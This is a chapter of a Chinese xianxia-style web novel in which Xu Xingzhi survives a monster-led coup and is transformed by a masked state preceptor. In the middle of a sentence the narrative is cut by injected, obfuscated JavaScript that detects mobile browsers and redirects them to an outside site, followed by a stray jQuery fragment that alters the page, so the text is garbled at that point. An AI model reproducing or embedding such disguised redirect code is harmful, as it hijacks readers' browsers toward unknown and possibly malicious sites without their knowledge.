5. 世道无常

作品:《浮世隐

    初夏之夜,金安城灯火如昼。安庆大街两侧,百姓们挨肩叠背,翘首以盼九州进贡的仪仗队。


    各州为首的两辆马车,头一辆坐着地方荐举的体面人物,衣冠齐整,护卫森严;紧随其后的那辆车里,盛的却是地方珍宝、异种名花,一路径往宫里去了。


    其余花车却不进内,只沿着大街缓缓绕行,车上花魁或舞或歌,青州小调、漠州异曲,夹在阵阵鼓点之间,婉转悠扬。围观的百姓若是喜欢哪个,便朝那花车抛撒花瓣,香风拂过,倒像满城落了场彩色雨。


    尚有三五成群往夜市里去的,一路灯影摇漾,笑语喧阗。


    忽见一高挑清瘦的男子逆着人流行来,一袭月白长衫,步履轻悄,足不沾尘,衣袂翩跹若流云。


    “少爷,您走反了!皇宫在那边呢!”木竹气喘吁吁地追上来,不住地向被撞到的路人致歉。


    许星知闻声驻足,转身时恰有几片花瓣落在肩头。他眼中盈着笑意,嘴角噙着一丝不羁的玩味,惹得路旁女子只偷瞄一眼,便羞红了脸。


    见木竹已走到跟前,许星知抬手拍了拍他的肩膀。


    “父亲已带着兄长入宫,我今夜要出城见个人,你待会儿在城门处候着就是了。”


    木竹歪着头,瞧着主子舒展的眉眼,这般愉悦的模样,原是少见的。他纳罕了片刻,忽地双掌一击:


    “少爷莫不是要去见女子?”


    许星知但笑不语,只眨了眨眼。


    “少爷您这笑而不答,莫不是真被我猜中啦?平日里您对女子都不上心,今儿个竟能舍了宫宴之事去赴会,这女子必定不一般!”


    许星知话至嘴边却又咽了回去——嘉和郡主的身份,此刻不便明言。


    何况木竹并不知晓他们初遇之事。


    他正欲转身,忽听远处人声鼎沸。初时以为是喧闹,定睛一看,却见人群如浪般层层翻倒,竟似被无形巨力扑翻!


    更令人头皮发麻的是,从那混乱的人堆里,竟凭空爬出一只只从未见过的可怖怪虫!


    木竹忙掣出佩刀,一步抢护在许星知身前,两眼死死盯着周遭怪虫们的动向。


    长街顷刻间乱作一锅粥。掀翻的花车沾了烛火,烧得噼啪作响。守城的官兵逆着人潮冲过来,挥刀向那些怪物砍去,霎时间,一场人与怪物的死斗,就这么开了头。


    怪虫直扑向退至墙壁的二人,木竹手起刀落,将其劈作两半。


    “小心有毒。”许星知见那虫血颜色奇异,忙用宽袖遮住二人的面部。


    “少爷,快走,这地方断断留不得。”


    许星知何尝不知凶险。城门明明就在眼前,偏宫中还有家人,一时进退两难。他俯身从已经倒地的官兵手中夺过刀来,眨眼的工夫,便将一旁追人扑咬的怪虫解决掉。


    犹豫间,却见一匹马从城门外疾驰而入,才跑了几步便猛地刹住。那马上之人,正是与他相约的慕涣然。


    只可惜这中间隔着乱糟糟的人堆,还有那燃得正旺的花车,要冲过去,原是不易的。


    许星知目光扫过周遭,忽见不远处,一名射箭的官兵早已倒在血泊里。他翻身一跃,轻巧地越过障碍物,快速拾起地上的弓箭。


    木竹紧随其后,不让怪虫们近身于许星知。


    指尖一松,箭矢冲破空气,“咻”的一声锐鸣,不偏不倚,正钉进那跃到慕涣然身前的怪虫头上。


    “姐姐…”


    一声呼唤不由脱口而出,许星知试图让慕涣然找到自己的位置,却瞧见那马载着她朝城外奔去。


    “木竹,我去找承帮的护卫们去宫外查看情形。你去替我办一件事。”


    “少爷,木竹不想离开您。”


    “听我说,事发突然,半分由不得耽搁。”许星知语速急促,却字字清晰,“你带些人去昭王府,确认王爷王妃是否进了宫。若还没动身,就护着他们撤出城外,他们若不肯,你便说这是郡主的意思。”


    “可是...”木竹托着尾音,语气满是不舍。


    “活命要紧,一旦听闻宫中有变,立刻带他们去青州乡下隐藏身份,我若能脱身,定会去见你。”


    昨夜后涌而入的叛军们攻占了皇宫,金安城里已是尸横遍地。待到日头爬上山,那些怪虫们如消失了一般。


    许星知的白衣似被水墨侵染,绽出朵朵刺眼的红。被拖拽到正殿门外时,他已只剩半口气息,眼梢却瞥见,父亲和兄长已被扣押在地。


    叛军首领钟妄高擎着皇帝的首级,殿下众人见状如疯魔般振臂狂呼。


    许星知仰天倒在地上,眼里的光一点点淡下去,终是如心死般,彻底失去了挣扎的欲望。


    “竟敢带人闯入宫内,连禁军都不是我们的对手,不自量力的东西。”


    许星知回想昨夜的场景,他带着数十名高手护卫冲进宫时,叛军中竟钻出许多凶戾骇人的怪物。那些怪物似有灵性般,只攻击叛军以外的人。两边实力悬殊,不过片刻,他们便败下阵来。


    方才嘲讽的汉子攥紧手中的剑,正要往许星知心口刺去,忽听父亲与兄长撕心裂肺的痛呼声直穿殿宇。


    猛地,那汉子的手竟像被什么无形的东西拘住一般,原要刺向许星知的剑,竟硬生生转了方向,直往自己颈间抹去。他喉头才要挣出半声惊叫,却已被剑锋割开了喉咙,重重砸在血泊里,再不动弹。


    众人顷刻间便静了下来,钟妄的随从从殿内趋至他身侧,低声说了些什么。


    钟妄冷眼瞧着地上的许星知,吩咐道:


    "带他下去。"


    偌大的密室内,昏暗潮湿,只有星星烛火闪烁着微弱的光。


    许星知趴在地上一动不动,露在衣外的皎白皮肤带着些许血痕,附着的泥土显得格外狼狈。


    “好久不见。”


    一个年轻的声音,蓦地打破了密室中的沉寂。


    许星知将眼微微撑开一线,见说话者坐在对面一张木椅上。那椅子底下安着四个小轮,想来这人定是腿脚不便的。


    目光缓缓上移,那人的脸面却隐在一张玄色怪诞的面具之后。只是他那稀疏的白发,还有那双交叠在膝上的枯槁手指,终究泄了他的老态。


    “我...不...认识你”许星知艰难开口。


    “当然,是我让你不能记得我。”虽说此人应是老者,声音却低沉有力,听的直教人心里发怵。


    许星知索性一言不发,脸上是那副任杀任剐、悉听尊便的无畏模样。面具人只将手指轻轻一扬,许星知竟似被无形之力兜住,凭空飘起,四肢被一股


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239700|181894||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不明力道抻开,悬在室中,半分动弹不得。


    他那双惊惶的眼,还不及看清眼前发生的一切,耳畔便又响起一段诡谲的对答。


    "让他戴上这张面具,去寻找我要的东西。"


    "云藏,您这是要舍弃我了吗?!"面具之后,竟是同一副躯壳里,又透出另一个苍老的声音来。


    “你如今身为人界国师,要利用好你的身份,助他一臂之力。”


    “凭什么是他?我也能为您寻来您要的东西!”那苍老的声音因着激动,竟微微发颤。


    “你已承受不住这面具的力量。若计划能顺利完成,我便许你重返天界。再说,这位少年郎可是朝川国第一帮——承帮的小公子。若能借重许家在九州的势力,于你的朝政、于我的事体,都是有益的。”


    听到此处,许星知已然明了这人的目的,不由得嗤笑一声,怒目而视。那戴面具的人停了自说自话的对答。


    “贼子!休想叫许家听命于你!纵然你有这等邪祟手段,可知举头三尺有神明,当心叫天收了去!”


    “......”


    那面具之人不再一语,只手指又勾了勾,许星知瞬间被拉至他的面前。


    “忘了告诉你,”国师的声音冰冷,“你现在是承帮的帮主了。”


    许星知心头猛地一坠:“什么?!”


    “想必你已猜到,你的父亲和兄长...不会再挡你的路了。”


    国师的话如重锤般,猛砸在许星知的胸口。他浑身剧颤,额上青筋条条绽出,那双星夜般的瞳孔骤然扩张,眼底的泪水不禁翻涌而上,像一轮墨色圆月被迫淹没于充满绝望与恨意的苦海之底。


    “你方才说的‘自有天收’,我不知天界是否听得见。只是……我听了,心里却烦得很。不如就瞧瞧,你口中的神明们,究竟会不会来救你。”


    话音落定,国师用那布满皱皮的枯槁之手取下面具,真容豁然显露在许星知眼前。此人眼睛依旧明亮,只是整张脸面因衰老爬满了皱纹,暗斑如泼墨般散布,全身毛发白如雪丝,面相实在丑陋至极。


    未等许星知开口,国师便将手中的面具按在了他的脸上。


    密室中原本微弱的烛火,忽的窜起丈高火苗,满室顿时火光通明。


    凭空出现的黑气缠于他身,如被黑丝裹住的茧。他身上那件带血的月白长衫,竟自下而上变作与面具一般的玄色;周身伤口顷刻间恢复如初,肌肤亦莹润如新。


    待双足稳稳落定,他盯着面前的国师,声音自面具后透出。


    "王公贵族尽数清剿,永绝后患。"


    慕涣然藏身树后,望着紧闭的城门,无计可施。


    她目光扫过城楼,猛地定格——正中央竟悬着一颗人头!


    待看清那面容,她猛地捂住嘴,将一声惊呼死死堵在喉间。


    那是当朝天子的头颅!


    她心神俱震,未及回神,沉重的城门却在此时轰然洞开。


    众人马簇拥之中,一辆四驾豪华马车迤逦而出。夏夜闷热,车窗纱帘高卷。


    慕涣然下意识地望过去,只一眼,便如遭雷击,慌忙扶住树干才堪堪站稳。


    “许...星...知?”


    她不敢置信地,喃念出那个名字。